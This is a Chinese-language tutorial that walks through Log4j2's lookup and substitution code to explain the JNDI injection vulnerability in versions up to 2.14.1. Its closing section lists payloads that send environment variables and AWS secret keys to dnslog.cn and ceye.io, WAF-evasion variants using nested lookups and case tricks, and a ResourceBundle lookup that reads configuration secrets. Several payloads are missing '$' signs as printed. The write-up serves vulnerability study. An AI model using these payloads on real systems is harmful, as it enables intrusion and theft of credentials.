漏洞条件
- Apache Log4j2 <=2.14.1
- JNDI注入的JDK版本在范围内或本地有利用链
Log4j2 基础
Apache Log4j2是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一。
搭建环境
导包
创建Maven项目,并将以下配置文件放在pom.xml中
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
配置
log4j2支持种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。 log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。
当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">
值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);
来手动设置。如果没有配置文件也没有指定则会默认使用Error级别
使用
log4j2中包含两个关键组件LogManager和LoggerContext。LogManager是Log4J2启动的入口,可以初始化对应的LoggerContext。LoggerContext会对配置文件进行解析等其它操作。
常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}
实际开发场景
比如获取到了一个 username 为 “admin”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Main {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "admin";
if (username != null) {
logger.info("User {} login in!", username);
}else {
logger.error("User {} not exists!", username);
}
}
}
Log4j2 漏洞原理
在 Log4j2 中提供的众多特性中,其中一个就是 Property Support。这个特性让使用者可以引用配置中的属性,或传递给底层组件并动态解析。这些属性来自于配置文件中定义的值、系统属性、环境变量、ThreadContext、和事件中存在的数据,用户也可以提供自定义的 Lookup 组件来配置自定义的值。
这个 Lookup & Substitution 的过程,就是本次漏洞的关键点。提供 Lookup 功能的组件需要实现 org.apache.logging.log4j.core.lookup.StrLookup 接口,并通过配置文件进行设置。
在最新的官方文档 Lookups 中,列举了 Log4j2 支持的 Context Map、Date、Docker、Environment、Event、Java、Jndi、JVM Input Arguments、Kubernetes、Log4j Configuration Location、Main Arguments、Map、Marker、Spring Boot 、Structured Data、System Properties、Lower、Upper、Web 如此多种的属性查找及替换选项。
而其中所支持的 Jndi 就是本次漏洞的触发点。
调试分析
触发点
通常我们使用 LogManager.getLogger()
方法来获取一个 Logger 对象,并调用其 debug/info/error/warn/fatal/trace/log
等方法记录日志等信息。
在这些所有的方法里,都会先使用名为 org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled
的若干个重载方法来根据当前的配置的记录日志的等级,来判断是否需要输出 console 和记录日志文件。
在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志,可以使用配置文件更改日志输出等级。
本此漏洞的触发点,实际上是从 AbstractLogger#logMessage
方法开始的,凡是调用了此方法的 info/error/warn
等全部方法均可以作为本次漏洞的触发点,只是取决于配置的漏洞输出等级。
消息格式化
Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter
来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要提供 Lookups 功能。
获取 log4j2.formatMsgNoLookups
配置的值,默认为 false,因此 Lookups 功能默认是开的。
在格式化的时候是调用了format(final LogEvent event, final StringBuilder toAppendTo)
方法:
先从传入的event对象中取出输入的msg
这里会先进行判断lookups是否开启,也就是上面构造方法设置的noLookups的值。
然后循环整个workingBuilder对象的所有字符看是否为 ${
开头的,是则取出该msg作为value(这里也就是输入的User $(jndi:ldap://127.0.0.1:1234/ExportObject)not exists!
),然后使用config.getStrSubstitutor().replace(event, value)
进行格式化替换。
字符替换
Log4j2 提供 Lookup 功能的字符替换的关键处理类,位于org.apache.logging.log4j.core.lookup.StrSubstitutor,首先来看一下这个类。
类中提供了关键的 DEFAULT_ESCAPE 是 $
,DEFAULT_PREFIX 前缀是 ${
,DEFAULT_SUFFIX 后缀是 }
,DEFAULT_VALUE_DELIMITER_STRING 赋值分隔符是 :-
,ESCAPE_DELIMITER_STRING 是 :\-
。
这个类提供的 substitute
方法,是整个 Lookup 功能的核心,用来递归替换相应的字符,可以看到上一步调用config.getStrSubstitutor().replace(event, value)
方法里面也是调用了substitute
方法:
跟进后发现调用了另一个substitute
方法:
然后就到了真正的处理逻辑了,接下来才是重点(过程有点绕需要耐心):
1、初始化各种Matcher和输入的消息属性;然后匹配消息中的${
前缀字符,并且进行删除重复的$
字符操作;
2、找完前缀就找后缀,先找出是否存在嵌套格式化字符的情况,取出最里层的格式化字符,然后再取出格式化字符中间的部分,即${
和}
之间的字符串(这里是jndi:ldap://127.0.0.1:1234/ExportObject
),然后就嵌套调用substitute
方法
3、再次运行 subtitue
方法的时候由于我们已没有 ${ }
能够匹配到了,所以就直接返回了0,代表没有修改,回到了嵌套前的subtitue
方法
4、后续的处理中,通过多个 if/else 用来匹配 :-
和 :\-
。
上面代码很绕,看不懂没关系,直接描述:
:-
是一个赋值关键字,如果程序处理到${aaaa:-bbbb}
这样的字符串,处理的结果将会是bbbb
,:-
关键字将会被截取掉,而之前的字符串都会被舍弃掉。:\-
是转义的:-
,如果一个用a:b
表示的键值对的 keya
中包含:
,则需要使用转义来配合处理,例如${aaa:\-bbb:-ccc}
,代表 key 是,aaa:bbb
,value 是ccc
。
5、在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable
方法解析满足 Lookup 功能的语法,并执行相应的 lookup ,将返回的结果替换回原字符串后,再次调用 substitute
方法进行递归解析。
因此在字符串替换的过程中可以看到,方法提供了一些特殊的写法,并支持递归解析。而这些特性,将会可以用来进行绕过 WAF。
Lookup 处理
跟进resolveVariable
方法,可以看到先获取resolver对象,然后调用 resolver.lookup
方法进行处理
跟进来到了 org.apache.logging.log4j.core.lookup.Interpolator 类,Log4j2 使用Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。
这个类在初始化时创建了一个 strLookupMap
,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。
在 2.14.1 版本中,默认是加入 log4j、sys、env、main、marker、java、lower、upper、jndi、jvmrunargs、spring、kubernetes、docker、web、date、ctx,由于部分功能的支持并不在 core 包中,所以如果加载不到对应的处理类,则会添加警告信息并跳过。而这些不同 Lookup 功能的支持,是随着版本更新的,例如在较低版本中,不存在 upper、lower 这两种功能,因此在使用时要注意环境。
处理和分发的关键逻辑在于其 lookup
方法,通过 :
作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理类,并调用其 lookup
方法。
这里除了JNDI方法外,还支持上述多种 Lookup 功能,包括获取环境变量、系统配置、Java 环境等等,由于 Log4j2 支持递归和嵌套解析,所以可以用来获取相关信息来实现一些攻击思路。
JNDI 查询
Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager
来支持 JDNI 相关操作。
跟进去,到了另一个用于处理JNDI的lookup
方法中,这里先获取JndiManager,可以看到这里的JndiManager里面有个context对象,该对象就是JNDI注入常见的InitialContext类
再跟进去,可以看到就是使用了InitialContext.lookup
方法进行JNDI查询
这里就是常见的JNDI注入的入口了。
小结
- 先判断内容中是否有
${}
,然后截取${}
中的内容,得到我们的恶意payloadjndi:xxx
- 后使用
:
分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些。
技巧与绕过
在官方文档中介绍了各种不同类型的 Lookup ,以及其特性
技巧
ENV
可通过 env 来获取环境变量中的一些信息,实际上对应的是System.getenv()
logger.error("{jndi:ldap://{env:USER}.d0j226.dnslog.cn}");
获取一些云主机的 Key
logger.error("{jndi:ldap://{env:AWS_SECRET_ACCESS_KEY}.d0j226.dnslog.cn}")
Java
logger.error("{jndi:ldap://{java:version}.u2xf5m.dnslog.cn}");
logger.error("{jndi:ldap://{java:os}.2lnhn2.ceye.io}");
由于 JNDI 注入高版本默认 codebase 为 true 所以可以通过这个方法来获取 jdk 版本从而选择不同的攻击方式
绕过
利用分隔符和多个 ${}
绕过
根据官方文档中的描述,如果参数未定义,那么 :-
后面的就是默认值,通俗的来说就是默认值
logger.error("{{::-J}${what:-n}di:ldap://127.0.0.1:1389/Calc}");
通过 lower 和 upper 绕过
这一点,因为我们之前说允许的字段是这一些date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
logg.info("{{lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("{{upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....
同时也可以利用一些特殊字符的大小写转化的问题
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)
ResourceBundleLookup读取敏感信息
从代码上来看就很好理解,把 key 按照 :
分割成两份,第一个是 bundleName 获取 ResourceBundle,第二个是 bundleKey 获取 Properties Value。
ResourceBundle 在 Java 应用开发中经常被用来做国际化,网站通常会给一段表述的内容翻译成多种语言,比如中文简体、中文繁体、英文。
那开发者可能就会使用 ResourceBundle 来分别加载 classpath 下的 zh_CN.properties、en_US.properties。并按照唯一的 key 取出对应的那段文字。例如: zh_CN.properties
LOGIN_SUCCESS=登录成功
那 ResourceBundle.getBundle("zh_CN").getString("LOGIN_SUCCESS")
获取到的就是 登录成功
如果系统是 springboot 的话,它会有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。当然也不止 springboot,很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。
这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。所以在 log4j 中 Bundle 是比sys和env更严重的存在。
"{jndi:ldap://{bundle:文件名:配置的键}.boh9ud.dnslog.cn}"